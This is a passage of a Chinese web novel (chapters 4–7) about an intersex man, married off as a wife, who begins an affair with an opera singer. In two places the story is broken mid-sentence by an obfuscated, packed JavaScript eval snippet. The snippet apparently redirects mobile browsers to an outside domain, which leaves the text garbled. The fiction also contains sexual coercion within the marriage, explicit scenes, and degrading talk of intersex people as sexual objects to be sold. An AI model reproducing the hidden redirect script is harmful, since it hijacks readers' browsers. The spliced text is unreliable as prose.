闻鹤来是过了半个小时才来的,许明意坐在茶楼的雅间里,听见声儿,下意识地就站了起来。闻鹤来见了他,笑了下,他才卸过妆,鬓发间还有湿迹,青年飞扬的眉眼也展露无遗。 闻鹤来一边往里走,一边抱怨道:“妆太厚了,头套箍得头疼,折腾了好半天,又洗了下才来,不然一身臭汗能将你熏得昏过去。” “天太热了。” 他喋喋不休,许明意在他熟稔密集的话里,紧绷的那根弦也稍稍松了。事实上,他坐在雅间时一直在想,他留下来做什么?闻鹤来让自己等他,又想和他说什么?可他无论说什么,都和自己五官。闻鹤来是一个戏子,而自己,不过是一个看戏的,他们之间如此才是最好的。 不——这样也不好,他现在是张家的大少奶奶,是人妇,没道理这样频频出门去听戏。 可不知为什么,许明意还是坐下了,耐心地等着闻鹤来的到来。 闻鹤来看了眼桌上的雪花酪,道:“冰都化了,怎么不吃?不合你的口味?” 雪花酪是他让人买的,许明意刚坐下,茶博士就送了进来,还有一篮水灵灵的果子,两碟点心。雪花酪添了牛乳,果子干,浇了酸梅汁,最是解暑。许明意犹豫了片刻,摇摇头,闻鹤来笑道:“姑娘不都是爱吃这些酸酸甜甜的东西吗?” “那你爱吃什么,告诉我,我下回给你买。” 许明意闻言眼睫毛颤了下,抬起眼睛,定定地看着闻鹤来。闻鹤来已经坐在了一旁,自顾自地倒了杯水就往口中灌,他唱了半天戏,口干得不行。 过了许久,许明意抬手蘸了杯中的水,细长白皙的手指在桌上写道:“为什么?” 闻鹤来笑说:“你还识字儿呢,这字写得真不错,比我写得强。” “为——什——么,”他重复了一遍,“什么为什么?” 他嬉皮笑脸的,没个正经,许明意蹙了蹙眉,抬手又写,“你明白我问什么。” 闻鹤来为了看他写的字,伸长了头,二人一下子挨得就近了,许明意抬起头,就瞧见了闻鹤来高挺的鼻梁,嘴唇薄软得宜,是很英俊的一张脸。许是草草洗过,身上到底还带了几分汗味儿,可又夹杂着几分男人的压迫感,他后坐退开了几分,瞪着闻鹤来。 闻鹤来也反应过来,浑不在意地笑笑,又退了回去,说:“为什么叫你来听戏,还是为什么对你好?” 他道:“我是唱戏的,自然是想着别人来听我唱戏,你是来听我唱戏的,那就是我的衣食父母。” “衣食父母都怠慢,那还想对谁好?” 许明意抿抿嘴唇,指上的水已经干了,又蘸了,在桌上写道:“油嘴滑舌。” 闻鹤来笑道:“我说的哪句不是真话?” 许明意:“闻老板不缺听客。” “啧,谁不缺啊,唱戏的,当然是想听戏的人越多越好。” 许明意蘸的是杯底的水,眼见杯中水无多,所幸又想提壶倒茶,却被闻鹤来拦住了,道:“成了,你拿那手在桌上磨得不疼?回头我给你备上笔墨再写。” 许明意望着他,闻鹤来拿出帕子,想给他擦手,动作又顿了顿,将帕子递给了他,道:“擦擦手。” 闻鹤来说:“我有个师姐,刚出科没多久就嫁给人家做妾了,终日守在后宅。” “她嫁人之后我和她见过两面,没多久她就郁郁而终了,”闻鹤来道,“我见了你就想起她,邀请你来听我唱戏是我唐突,我就是……有点儿不忍心。” 不忍心。 许明意恍了恍神,他知道闻鹤来没有说实话,可他走到今日,从来没有人对他说过,不忍心三个字。 人人倾轧逼迫他,从未有人问过他想不想,好似在他们眼中,他多生了一个东西,就不足以为人,可他却是实实在在的人。无论闻鹤来这话是真是假,在这一刻,许明意悲哀地发现,他竟因着这不知真假的三个字,失了神。 5. 第 5 章 自那日起,茶楼雅间的桌上就备下了纸笔。 不过许明意用得并不多,他出来也不易,总要寻些由头才能光明正大地走出张府,所幸张靖遥无暇理会他,张家二老对他管束不多。许明意抄了些经书,说他是去上香,张夫人便也由了他去,毕竟他们都早盼着他能早日怀孕。 谁也没想到,素来温顺懦弱的许明意竟会去茶楼听戏,和一个戏子对坐闲谈。 许明意在闻鹤来面前是个哑巴,好在他本也话不多。和闻鹤来待在一起的时候多了,许明意好像觉得自己又变成了许明意,不再是四九城里的张家大少奶奶许氏九娘,竟也能得片刻的放松。 这一日,闻鹤来没有排戏,二人就一道坐马车出的四九城,去了城郊的一座古刹。 车夫是闻鹤来的人。 二人下了马车,沿着狭窄的石径慢慢朝山上走去,山不高,树林蓊郁,鸟鸣声不绝,在这盛夏里辟开了一方幽静天地。闻鹤来道:“小心脚下。” 许明意点了点头,闻鹤来手中拿着他的帷幕,给他扇了扇风,道:“你别看玉泉寺荒了,其实还挺灵的。刚来四九城的时候,我就跟着一群流民到了这附近,不知怎么就走到了寺里。” “我饿昏头了,那时我就想,”闻鹤来想起年少时的光景,忍不住笑了一下,道,“要是能让我以后吃饱饭,我干什么都去。” 许明意微微睁大眼睛,看着闻鹤来,没想到他还会有这样凄惨的时候——也是,唱戏夏练三伏,冬练三九,这是个苦行当,但凡有出路,鲜有人会投身去唱戏。 闻鹤来猜到了他的意思,笑道:“庙里的老和尚给我喂了两碗稀粥,一个粗面窝窝头,我才活过来。” “后来进了四九城,学了唱戏,出科之后就真没挨过饿了。” “你说灵不灵?” 许明意想了想,点头,他伸手比划了一下,“你那时那么小,怎么会来四九城?” 闻鹤来道:“我娘死了,我爹要续弦,我不高兴就跑了,结果碰上拍花子兜兜转转就到了四九城。” 许明意愣了下,“对不起。” 闻鹤来笑了起来,道:“这算什么,我当我老子也死了。” 许明意:“不回去吗?” “回去?”闻鹤来说,“不回去,回去干什么,脏眼睛,”他眨了眨眼睛,有些俏皮,却透着股子顽劣的恶意,“我等他求我给他摔盆呢。” 许明意哑然。 闻鹤来这是——咒他爹死呢。 在这个世道里,孝道大于天,纲常伦理如高山,许明意从未见过这样胆大妄为的人。闻鹤来身上自有一种肆意飞扬的劲儿,好像这世间没什么能困住他,重逾千钧的伦理纲常不过轻飘飘一张纸,他不喜欢,撕了就是。 旋即许明意又想,闻鹤来若是不大胆,他不过一个戏子,怎么敢和自己私会。 ——私会。 这两个字一浮现,许明意顿时有些心惊肉跳,脚下都踉跄了一下,闻鹤来反应快,伸手握住了他的手臂,“当心。” 许明意颤了颤,闻鹤来掌心宽厚,又烫,隔着衣裳也烫得他哆嗦了一下,望着闻鹤来。闻鹤来也垂了眼睛,四目相对,二人爬了小小一段山路,可天热,都出了汗,面色也微微泛红。闻鹤来看着许明意的那双眼睛,他经年唱戏,看人忍不住先看眼,许明意瞳仁浅,剔透如琉璃,眼型好,有点儿猫眼的意思,可长在这个人脸上,却乖顺得很。许明意惊惶无措地看着人时如同受惊的小兽,让人忍不住想拨一拨,掐一掐。 闻鹤来都恍了下神。 树梢传来几声鸟叫,许明意猛地回过神,用力抽回了手,他抽得急,太急了,有些落荒而逃的意味,不管不顾提着裙摆就往上走去。闻鹤来也回过神,看着他狼狈的背影,心定了定,快走了几步,道:“小哑巴你慢些,别踩了裙子摔着。” 二人一前一后上了最后一级石阶,许明意偏头看向闻鹤来,闻鹤来也看着他,二人对视的一瞬间,不知怎的,都忍不住笑了一下。 闻鹤来:“到了。” “累不累?” 许明意摇头。 闻鹤来:“小哑巴,你怎么像只兔子?跑忒快。” 许明意闻言抿了下嘴唇,他本来就不是姑娘,在这山上,只有他和闻鹤来,一时忘形,全然忘了许家的耳提面命。 突然,他听闻鹤来说:“还不知道你叫什么呢。” “小哑巴,你叫什么?我总不能一直叫你小哑巴小哑巴吧。” 许明意听着这三个字——亲昵得过分了,闻鹤来嗓子好,叫出来好像调情。最要紧的是,许明意想,他也不是哑巴。 他骗了闻鹤来,而且不止这一桩。 许明意走了神,闻鹤来略一思索,还当是他有所犹豫,不愿意告诉自己。他看着许明意,眼里闪过一丝失落,面上却笑道:“嗐,走吧,先进去吧,去讨口水喝。” 他才走一步,突然袖口一紧,低下头,却见几根细瘦白皙的手指紧紧抓住了他的衣袖。 是许明意。 他面色胀得微微发红,不自在,又强作镇定,闻鹤来目光落在他的脸上,这实在是很年轻的一张脸,有没有满二十,没吧,虽然才成亲,许是因着是个哑巴,成亲才晚。 许明意转头看了看,想寻纸笔,可这山上荒寺哪有纸笔。 蓦的,一只摊开的手伸在他眼前,五指修长,骨节分明,一看就是一只极有力量的手。 许明意呆了呆,耳朵更红,手指蜷了又蜷,过了好一会儿,才抬手抵在闻鹤来的掌心,一笔一划地写了下去。 “许——明——意,”闻鹤来依着他写的字缓缓念了出来。 “光明璀璨,照临四方,”闻鹤来说,“快意一生。” “小哑巴,你这名字不错。” 许明意尚且沉浸在指尖皮肤相触的余韵当中,乍听这话,怔愣了下,他这二十年里活得谨小慎微,战战兢兢,受尽白眼嫌恶,谈什么照临四方快意一生。 仔细算来,这大半年里,已经许久没有人叫过他的名字了。许氏,许九娘,四九城里所有人都这么叫他,时间一长,有时许明意都有那么片刻以为自己真是许九娘,而不是许明意。 闻鹤来敏锐地觉察出了他的低落彷徨,问道:“怎么了?” 许明意看着他,摇头。 闻鹤来笑道:“走吧。” 古刹很有些年头了,已经显出颓败之象,香火也不旺,就连山中的僧侣业已离开了这座破败的古刹。可颓败有颓败的景,许是因着人迹罕至,反倒平添了古朴清幽。闻鹤来虽是个戏子,可这人显然是读过书的,见多识广,又健谈,和他走在一起,莫名地让人心情舒缓,放松下来。 许明意看着闻鹤来的身影,想,闻鹤来如果知道他其实不是哑巴,甚至不是女人,要吓一跳吧。说不得也和那些视他为畸形怪物的人一般,要落荒而逃,抑或像张靖遥,要恶心得吐出来。 想起他的丈夫,许明意有些发冷,好似自梦中醒了过来。 不多时,他们便打算要回去了。没成想,盛夏天气反复,一场急雨说来就来,天也变了,黑沉沉的乌云笼罩苍穹,夹杂着电闪雷鸣。 许明意有些着急。 闻鹤来道:“夏天的雨下不长,一会儿便停了,别急。” 许明意抬头看了看闻鹤来,半晌,轻轻点了点头。 风急雨骤,豆大的雨珠噼里啪啦打在屋檐,惊雷紧随着紫电落下,轰隆隆如劈在人耳边。天色阴,黑沉沉地笼罩了整个古刹,无端地让人心头发慌。 轰隆又是一记夏雷。 闻鹤来道:“我们进去等吧。” 许明意抿了抿嘴唇,跟着闻鹤来转身进了主殿。古刹破败,大殿内供奉的神像也已经斑驳掉漆,断了臂,高坐神台,低眉垂目,殿内挂着旧幡,过堂风吹得幡布飘卷摇曳。闻鹤来捡了个蒲团,拍了拍,拿帕子擦了擦,道:“坐会儿。” 许明意看着擦干净的蒲团,垂下眼睛,提起裙摆跪坐了上去。裙上绣了海棠花,花蕊精巧,闻鹤来看了几眼,慢吞吞地也跪坐了下去。 二人都没有说话,雨声淅沥,敲击得人心里不平静。 许明意抬起头,望着眼前的神像,世人在神祇面前,总想要求些什么。他也想求点儿什么,可求什么呢?如张家人所求的,求个子嗣?也许有个子嗣,他便能脱身——怎么可能?许明意不是傻子,一旦他当真能怀上张靖遥的子嗣,且不论那个孩子,张家便不会放过他。 有朝一日能回津门?许明意对津门并无多少眷恋,在他乏善可陈的二十年里,津门,就是许家那腐朽的老宅邸,是他娘的埋怨。 许明意不想回去。 许明意竟发现,他竟不知求些什么好,又能求些什么。幼时听着母亲的埋怨,他想,他若是是个完整的男孩儿,便能让他母亲欢喜。后来又想,母亲若是不要死就好了,尽管她对许明意算不得多好。 再后来,读书时想,功课念得好些,说不定能让他爹看他们母子一眼,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887509|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等来的是其他兄弟的欺辱。 …… 他最后所求的是,不要嫁给张靖遥。 没有人会成全他。神明若有灵,为什么独独不成全他呢?还是说就如他们所说,上天已经厌弃他了,要惩罚他,所以才让他和别人不一样,让他不男不女,受尽白眼欺侮。 可他又做错了什么? 许明意呆呆地望着那座神像,脑海中竟突然浮现闻鹤来所说,光明璀璨,快意一生——他这一生,要如何快意? 突然,他听闻鹤来问他:“明意,你想求什么?” 明意。 这两个字一入耳,许明意心脏蜷缩了一下,偏过头茫茫然地看着闻鹤来,半晌,只是摇了摇头。 闻鹤来:“无所求?” 许明意没有说话。 闻鹤来轻轻笑了下,道:“无所求其实不好,无欲则刚,可无欲的那还能叫人吗?” “所求的多才好呢,求权,求财,求名,求康健,求长生……人本就欲望满身,有欲望,就有悲有喜,活着才有意思,”闻鹤来道,“什么都不想要了,无欲无求,是神,是佛,独独不是人。” 过了许久,许明意伸手比划:“得不到,为什么要求?” 闻鹤来笑了声,道:不求,不就永远得不到?” “谋事在人成事在天。” “可明意,人要是自己把自己困住,谁都救不了他。” 许明意眼睛微睁,看着闻鹤来,闻鹤来对他笑了笑,不知怎的,许明意眼睛一热,仓促地转开了脸。 就如闻鹤来所言,夏雨下不长,雨声渐渐小了,闻鹤来起身出去看了眼,回来时对许明意道:“雨小了。” 许明意点点头,要起身,可他跪坐了太久,腿已经发麻了,竟一下子没起来。闻鹤来忍不住笑出了声,许明意脸颊一红,想勉力起身,闻鹤来已经朝他伸出了手。 看着那只手,许明意呆了下,闻鹤来没有说话,只是看着许明意,他背了光,那一瞬间,许明意看不清他的脸,可心却跳得快了几拍。他掌心出了汗,鬼使神差的,竟慢慢伸出了手,小心碰着闻鹤来的指尖。只这么一下,许明意颤了颤,猛地想缩回去——来不及了,闻鹤来已经攥住了他的手。 闻鹤来自小练戏,文武兼修,膂力惊人,一用力直接将许明意拉了起来。 二人顿时挨得极近,许明意慌了神,闻鹤来低声说:“腿麻吗?试着抬腿慢慢动一动。” 许明意岂止腿麻,整个人都似僵住了,眼神无处安放,竟连抽出自己的手也忘了。闻鹤来好像也忘了这回事,握住他的手没有松,甚至没有退开,只这么居高临下地看着因着这么个触碰就手足无措的许明意。藏在鬓发里的耳朵不知何时红了,挂了莹白的耳坠,衬得锁在立领长袄里的脖颈细长白皙,极合握在掌心细细地把玩。 真像只可怜的兔子。 闻鹤来声音轻了,说:“明意,你耳坠子真好看。” 许明意惊得抬起眼睛望了闻鹤来一眼,又飞快地低下眼,别过脸,想藏耳朵,可没想这么一转,反而把耳朵送到了别人眼皮子底下。 都送到眼前了,怎么能忍住不咬一口? 突然,男人炽热的呼吸一下子迫近,许明意还没反应过来,只觉耳后的皮肉都要被灼烫了,一个吻落在了他的耳上——不,是坠子上。 实在是太孟浪轻浮!许明意被他的大胆震得睁大了眼睛,瞪着闻鹤来,闻鹤来也没想过在这庙里走到这一步,揉了揉鼻尖,清了清嗓子,说:“回去吧。” 许明意如梦初醒,这真是一场了不得的,要受尽千夫所指的惊梦,他仓惶地甩开了闻鹤来的手,想说什么,可话到嘴边又想起自己如今是个哑巴,况且,说什么呢? 他跟着闻鹤来出来,就已经是十分逾矩了。 自见第二面起,闻鹤来的心思就昭然若揭,许明意不迟钝,他心里早就知道。可知道是一回事,真到那一步,当真逾越礼法,依旧让人心神战栗,惶恐不已。 一路无话,二人下了山。 临将别前,闻鹤来拉住了许明意的手,说:“明意,你生气了?” 许明意手指蜷缩,看了看闻鹤来,闻鹤来望着他,眼神专注,像是当真怕他着恼似的。 过了许久,许明意摇了摇头。 闻鹤来又问:“你还会来见我吗?” 许明意咬了咬嘴唇,瞧了闻鹤来一眼,没有说话,只是将帷帽戴上,怕被人瞧见似的,低下头小心翼翼地下了马车。 6. 第 6 章 许明意回到许家时,已经比往常的时日晚了足足一个时辰,没想到他刚踏进院子,就和张靖遥撞了个正着。 他心里正发虚,冷不丁的看见张靖遥那张脸,顿时慌了神,“大……大少爷。” 张靖遥见他一见自己就见鬼似的,心中不快,沉声道:“上哪儿去了?” 许明意心中颤了颤,低下眼睛,小声道:“前些日子抄了些经书,送去了庙里,没想到突然下起了雨……就,就在庙里待了一会儿,等雨停……” “没有去哪儿。” 张靖遥扫了眼他裙摆沾的淤泥,眉毛拧得更紧,“你一个人去的?” 许明意想起闻鹤来,愈发心惊肉跳,几乎以为张靖遥看出了古怪,竭力稳住心神,轻轻嗯了声。 张靖遥盯着他看了一会儿,许明意心慌,大着胆子抬起眼睛看了张靖遥一眼,叫了声:“……大少爷,”又道,“怎么了?” 张靖遥冷冷道:“好歹是张家大少奶奶,一个人出去让别人看见了,还以为我张家落魄了,连几个下人都养不起了。” 四九城虽是京都,可到底年景不好,城里城外都不太平,许明意这副样子到了外头,最易被歹人盯上。 许明意出去是见闻鹤来的,哪敢带下人,即便是当初自津门一道陪嫁来的下人许明意都不敢用,那些都是许家的耳目。 许明意小声道:“不碍事的。” 张靖遥冷笑道:“你是不碍事,丢的是我张家的脸。” 许明意不吭声了。 张靖遥看他那副唯唯诺诺的模样就心头着恼,道:“将你身上衣服换了,脏。” 一个“脏”字入耳,许明意袖中的手指攥紧,低下眼睛,看着脏污的裙摆,低声应了声,没有再在张靖遥面前停留。 瑞兽吐香,屋子里留了一盏烛火,照得帐子里昏黄,落在一段白皙削薄的脊背上,愈发衬得白腻如雪堆。两扇蝶翼颤颤可怜,如同被擒住的雪白飞鸟,教人粗暴地揪住了翅膀亟待吞血啖肉。 雪里融了血,艳得心惊。 张靖遥陷在温柔乡,汗涔涔的,鼻尖闻着屋子里烧的香,有些情难自抑。他本也不需要抑制,“许九娘”是他的人。 雪要融化在他掌心里了。 兴许是被烧昏了脑子,张靖遥浑身如沸,他俯身压在许明意身上,唇边是许明意薄红的耳朵。他又想起那挂了耳坠的耳垂,许明意耳垂小巧,脖颈修长,线条流丽如玉雕就,戴颜色鲜亮的坠子更是分外招眼。 鬼使神差的,张靖遥竟将嘴唇印在了许明意耳朵上。他呼吸滚烫,嘴唇也热,一贴上去,许明意如同受了激,竟低叫出声,下意识地挣扎想跑。如同面对有意无意地在眼前晃了数日的佳肴,张靖遥不过伸筷子夹着浅尝了一口,尝着了一点味,便有人要将之撤下,张靖遥素来高高在上惯了,如何能允许? 更不要说这人还是早已经被打上他的烙印的许明意。 张靖遥一口咬了下去,许明意呜咽了声,小动物似的发颤,“……大少爷。” 耳垂肉柔软,小小的,如含了块甜软的肉,让人想反复咂吮,可张靖遥此时又清醒过来,有些骑虎难下。他自矜身份,从来不曾正眼看过许明意,如今却像是被迷了心,愈发沉湎于和许明意的床事。 起初只是碍于张家二老,为了留嗣,敷衍一番了事。不知从何时起,这档子事就愈发频繁了起来。 张靖遥想,他甚至还亲了他——亲耳朵也算亲吧,张靖遥想起许明意的嘴唇,不可否认,许明意这副皮囊确实生得好。 也不知这张嘴,亲起来是什么滋味?这个念头一惊浮现,张靖遥悚然一惊,他想的,只会是付邻春,怎么会是这么一个卑微怯懦,一无所长的许明意? 色欲害人。 张靖遥清醒过来。他看着许明意的背影,顿时有些不尴不尬的索然无味,他抽身而退,许明意当即爬了起来,蜷缩在一旁,惊惧地捂着自己的耳朵,小心翼翼地看着张靖遥。 张靖遥从前只粗暴地弄他,好像那是他存在的唯一意义,从未有其他的温存,一时间无措又惊惧。 他碰上许明意耳朵时,许明意先是一哆嗦,竟不可控地想起了闻鹤来。 闻鹤来吻过他的耳坠子。 那副水滴状的白玉耳坠,许明意摘下时犹豫了许久,他心中有鬼,这是被别的男人亲过的东西,留着,仿佛是留下了他不贞的证据,也像是一种无形的默许。 最后,这副耳坠收进了许明意的匣中。 张靖遥恼怒道:“我是能吃了你吗?” 许明意下意识地摇头,可又不说话,张靖遥盯着他,没来由的,他觉得他似乎进入了一个僵局,局中有他,也有许明意。 进退维谷。 可不该这样。 张靖遥道:“有功夫求神拜佛,不如去学学怎么张开腿,在床上无趣成这个样子,让人毫无兴致。” 许明意被他这话羞辱得眼眶通红,浑身发抖,咬了咬牙,不知哪儿来的勇气,竟开了口,“张靖遥!” 张靖遥话出了口又生出几分悔意,看着双眼泛红的许明意,只听他道:“你怎么能这么辱我!” 张靖遥被他如此质问,也着恼,冷冷道:“你是张家买回来的,我就是杀了你,你也得给我受着。” 二人不欢而散。 四九城的夏天长,那一日,却是个阴天,微风轻拂,卷走了些微热意。 许明意这些日子情绪低落,隔了好些天才再去听闻鹤来唱戏,他来时戏已经过了大半。闻鹤来早在许明意第二回来时就给茶楼打过招呼,专门留了个雅间给许明意。 闻鹤来谢了座,卸过妆换了身衣服便来寻许明意,见他意兴阑珊,也没有多问,后来闻鹤来想起晌午有一场新电影在大观楼上映,便拉了许明意出了茶楼。 马车辚辚,行将一半时,风撩起了车窗帘子,几个字落入许明意眼中。 “停车,”许明意突然拍了拍车窗,示意闻鹤来,。 闻鹤来诧异地看着许明意,开口道:“停车。” 车夫应道:“是,闻爷。” 过了片刻,二人站在广德戏楼外,门口悬挂了老大一张戏照扮相。 是付邻春。 上头付邻春,《御碑亭》几个大字分外醒目。 许明意没有来过广德戏楼,闻鹤来并不陌生,他那张脸就是招牌,一踏进去,眼尖的茶博士就迎了上来,“闻爷,请您安,您可许久没来了。” 闻鹤来笑笑,道:“一个雅间。” 茶博士道:“哎!您来的可真是时候,就剩一间雅间了,原来是等着您呢。” 闻鹤来随手丢给了他两个银元,笑骂道:“好话都给你说尽了,带路。” 茶博士笑嘻嘻地应道:“得嘞。” 这是个机灵的,没往闻鹤来身边戴着帷帽的人身上瞧,贵人的事不是他能看的。他带着闻鹤来和许明意往楼上走,一楼大戏台上正在调弦,是预热,戏还没正式开场。 茶博士对闻鹤来说:“闻爷,您都许久没来咱们这儿登台了,我们掌柜的前两天还惦记着您呢。” 闻鹤来皮笑肉不笑,道:“这不是有人唱吗?” 茶博士嘿嘿笑道:“谁嫌角儿多啊。” 闻鹤来道:“滚蛋。” 说话间,正要上楼梯,木质楼梯陡峭,闻鹤来自然而然地牵住了许明意的手。许明意看着闻鹤来修长有力的手,到底是人前,下意识地想抽出,可闻鹤来握住了就不会轻易松手,踌躇须臾,垂下眼睛默许了。 茶博士余光好奇地瞥了眼,不过闻鹤来是四九城当红的角儿,迷他的人多,男人女人都有,他身边有人不足为奇。只是看这这身衣裳,就知不是寻常人家的姑娘。他收回目光时,正对上闻鹤来似笑非笑的眼神,当即陪笑着哈了哈腰,道:“到了,小的去给您拿茶水点心来。” 闻鹤来摆了摆手。广德戏楼是四九城里的大戏楼,雅间也雅致,一进去,许明意就抽出了手。闻鹤来看着许明意,许明意似乎也意识到自己这样太生硬,有点儿无措,讷讷地抬起手比划,“你以前也在这儿唱过戏吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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知己,好友……什么知己好友会到甘冒天下之大不韪要娶对方的地步? 许明意脸色微微发白,抬起眼睛,目光越过窗外看了出去,耳边是闻鹤来的声音,“我不知他们之间发生了什么,让你如此介意付邻春,不过……” “他们之间不会有可能的,”闻鹤来说,“付邻春出身梨园世家付家,深得付家老太爷看重,他不会允许付邻春跟着张靖遥的。” 这话说得半真半假,可正是如此,就愈发诛心。越是得不到便越想得到,人之秉性如此,有人阻拦又如何,就如戏台上的戏,一帆风顺不值得唱,需得有棒打鸳鸯,有波折横生,方显得爱重情浓。 戏外人看得精彩,戏中人也方念念不忘。 若是付邻春还未点头,张靖遥已经将一切向张家二老挑明,分明是在为他们的将来铺路,何其“用心良苦”——他简直就是小丑,是那阻碍这对苦鸳鸯的恶人。 闻鹤来轻轻道:“都说付邻春的戏,张靖遥必定捧场,明意……” 这话像提醒,可又像是心疼许明意,说:“不过都是传言罢了,张靖遥无论如何有官职在身,哪来的闲天天去捧一个戏子的场——” 就在这一刻,许明意看见对面的窗开了,一张熟悉的脸映入眼帘。 不是张靖遥是谁。 许明意心想,真心喜欢,何时也是有闲的? 原来张靖遥当真这般喜欢付邻春,戏,场场不落,台上的花篮,横栏的横幅,都是明目张胆的偏爱痴迷。 许明意不知怎的,竟笑了一下。 闻鹤来也看见了对面的张靖遥。 张靖遥正专注地看着戏台,台上乐声更疾,戏要开始了。 闻鹤来转头看着许明意的侧脸,许明意眼睫毛长,垂落着,不知在想写什么,他思忖着开口,“明意,你别伤心……” 许明意突然开了口,“闻鹤来,我不是哑巴。” 闻鹤来眼睛微睁,二人相识至今,他面上头一回露出错愕。 “我没有缠脚,是因为我算不得女人,”许明意自顾自地说,“也算不上……男人。” “你喜欢我吗?” “你看我这样,你还会喜欢我吗?” 台上梆子一声响,戏,开场了。 7. 第 7 章 闻鹤来被许明意打了一个措手不及。 他们之间一贯是闻鹤来主导,闻鹤来游刃有余,可没想到温软胆怯的许明意竟对他藏了这么大个秘密。这人不但不是哑巴,还是个男人。男人——闻鹤来端详着面前人,也不是无迹可寻,许明意个子高挑,不曾缠足,又常穿立领,原来都是为了遮掩自己男人的身份。 时下“放足”风气虽比前清盛,可高门大户里仍以小脚为美,娶妻也惯娶小脚女人。十几年前,许家在津门也排得上号,向来保守,许明意若是许家女,又岂会不缠足? 是他先入为主,教许明意蒙了眼。 闻鹤来脾气算不得好,素来最是宽于律己,严于律人,只兴自己耍别人,哪儿容得了别人骗他?若换了别人,闻鹤来能眼也不眨地把对方丢进海河,可听着许明意语气平静地问他,“你看我这样,你还会喜欢我吗?” 那把声音悦耳,说不得能唱小生,却是再真切不过的男人嗓音。闻鹤来看着许明意,心里竟没有一丝被骗的怒意,他虽竭力维持平静,可闻鹤来却仿佛见着了许明意摇摇欲坠的站在悬崖边,欲碎的镜子一般,又莫名地透着股子要让人血光四溅的狠劲儿,那种奇异的美丽让人目眩神迷。 刹那间,闻鹤来心中生出几分不可言说的微妙兴奋,戏台上起起落落的乐声里,闻鹤来听见自己犹自矜持地说:“……明意,你不是姑娘?” 许明意眼睫毛颤抖了一下,望着闻鹤来,笑了一下,说:“我可以是……” 那笑不似笑,眼里似乎下一瞬就要涌出泪,闻鹤来没有明白他的话,许明意兀自自言自语道:“你邀我看戏,陪我出去散心,对我好,你是喜欢我的吧?” “不管我是男人还是女人,你都会喜欢我吧。” 他不是在问闻鹤来喜不喜欢他,而是在乞怜,好可怜地乞求别人的怜惜,好似要以此来生出血肉,重新活下去。 没有男人能拒绝这样的诱惑。 耽于风月,放纵恣肆的闻鹤来更无法拒绝。台下在场戏,他好像也登了场,这是一场新鲜的,不曾唱过的折子戏,恰恰是戏中最精彩的那一折。 闻鹤来轻声道:“明意,我当然是喜欢你的,”他这话一落,许明意眼中浮现了水色,闻鹤来微怔,还未反应过来时已经伸手轻轻擦拭他的脸颊。许明意偏过脸,蹭了蹭闻鹤来的掌心,抬手握住了,指尖还在颤,唇却已经印了上去。 许明意望着闻鹤来,吻着他的手,舌尖自白齿中探出舔着男人的指头,仿佛是急于讨好主人,献宠求怜的小动物。 即便是闻鹤来也被这莽撞又生涩的艳色蛊惑得有一瞬间失神,他想起张靖遥,一时竟也想不明白,张靖遥是失心疯了么?放着这样的许明意不要,上赶着去贴付邻春的冷脸。 闻鹤来轻轻揉了揉许明意的嘴唇,道:“明意,我虽喜欢你,可不想你来日后悔。” “我知道你是怨张靖遥,”闻鹤来说,“你既有怨,就说明你心里也有他,你可知道你今日跟我,就没有回头路了。” 许明意愣了下,他抬头看着闻鹤来,道:“你嫌我?” 闻鹤来道:“当然没有。” 许明意抬手搂住闻鹤来的脖子,将身体贴近他,说:“闻鹤来,你知道张靖遥为什么要娶我吗?” 他声音低,闻鹤来下意识地环住他的腰,脑海中浮现许明意说的那些话,他说他算不得男人,也算不得男人,他可以是女人……莫名的,心跳都快了几拍。雅间里燃了香,不知戏台上唱到了哪儿,台下一片喝彩叫好声,闹哄哄的人声里,闻鹤来被许明意推了一下,他顺势后坐在宽敞的椅子上,许明意竟欺身跨了上来。 闻鹤来鼻尖闻着了许明意衣上经熏过留下的,甜腻醉人的花香,他不由自主地叫了声:“明意?” 许明意没有说话,像是也不想听见他说话,可又不知如何阻拦,只好拿嘴唇笨拙地封住他的嘴。闻鹤来没有动,只是任由他牵着自己的手,穿花拂柳也似,挑开了堆落的裙裳。 闻鹤来睁大眼睛。 许明意浑身都在发抖,尽管他的胆大妄为之下挟了恨,厌弃,报复,可实在羞耻,毕竟这是只有张靖遥,他的丈夫碰过的地方。许明意想起窗子里看见的那张脸,他正深情款款地看着戏台上的戏,绝计想不到,他的妻子竟抓了陌生男人的手去摸自己,这么一想,许明意不可控地生出几分极端的,不可演说的愉悦和愈发尖锐的恨,他问:“摸着了吗?” “张靖遥这才娶的我,”许明意抵着闻鹤来的嘴唇,看着他面上的惊愕,又冷又轻地说,“他们想让我给他生个儿子。” “闻鹤来,你还喜欢吗?” 戏台上,柳生春在御碑亭内遇见了避雨的孟月华,一个是嫁为人妇的妇人,一个是赶考的年轻士子,孤男寡女,暴雨雷鸣,他唱:“三更人烟俱消净,男女孤存在碑亭。礼法嫌疑当要紧,我淫人妇妇淫人。感应篇上答报应,读书之人要志诚。戒之在心我拿稳,怕什么男女夜黄昏……” 闻鹤来不是雏儿,他荤素不忌,和男人女人都好过,那一刻还是有些困惑。他对许明意的话不解,又惊于他大胆放肆的动作,手指在裙底探不真切,可过了片刻,闻鹤来好像听懂了。 这实在是……闻鹤来喉结微动,他年少混迹市井,三教九流都有所接触。 他蓦地想起有个酒肉朋友,酒后曾和他说,这世上妖童媛女都不足为奇,独独有种人,生来便是雌雄同体,兼具男女相。 彼时闻鹤来并不信,雌雄同体,那该是什么模样?怪物?可此刻,他看着许明意,耳边竟又想起他醉醺醺的话,“这种人生来就该是床上的玩物。” “闻爷,你不知,去年黑市上有个少年就是这样的,足足拍了这个数,”他比划了一下,打了个酒嗝,那眼神带着痴迷,下流的欲望扑面而来,“说男人吧,不是男人,说女人吧,不是女人,怪,怪极了,可掰开那双腿,又让人想往死里弄他……” 他声色迷离地笑了起来。 